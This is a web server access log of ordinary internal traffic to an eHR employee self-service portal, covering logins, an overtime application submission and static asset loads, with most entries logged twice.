192.168.11.136 - - [05/Sep/2025:08:47:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19371915714536792 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:47:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19371915714536792 HTTP/1.1" 200 8900
192.168.11.136 - - [05/Sep/2025:08:47:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19371915714536792 HTTP/1.1" 200 24844
192.168.11.136 - - [05/Sep/2025:08:47:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19371915714536792 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19371915714536792" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.104 - - [05/Sep/2025:08:48:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.104 - - [05/Sep/2025:08:48:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [05/Sep/2025:08:48:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.104 - - [05/Sep/2025:08:48:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.104 - - [05/Sep/2025:08:48:38 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.104 - - [05/Sep/2025:08:48:39 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.104 - - [05/Sep/2025:08:48:40 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.104 - - [05/Sep/2025:08:48:40 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.104 - - [05/Sep/2025:08:48:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:45 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [05/Sep/2025:08:48:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.136 - - [05/Sep/2025:08:48:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:48:49 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131078%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131078&target=iframe HTTP/1.1" 200 3251
192.168.11.136 - - [05/Sep/2025:08:48:49 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131078%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131078&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:48:49 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.136 - - [05/Sep/2025:08:48:49 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131078%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131078&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:48:49 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131078%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131078&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:48:49 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.136 - - [05/Sep/2025:08:48:49 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131078%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131078&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:08:48:49 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.104 - - [05/Sep/2025:08:48:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.104 - - [05/Sep/2025:08:48:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113
192.168.11.104 - - [05/Sep/2025:08:48:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.104 - - [05/Sep/2025:08:48:51 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)"
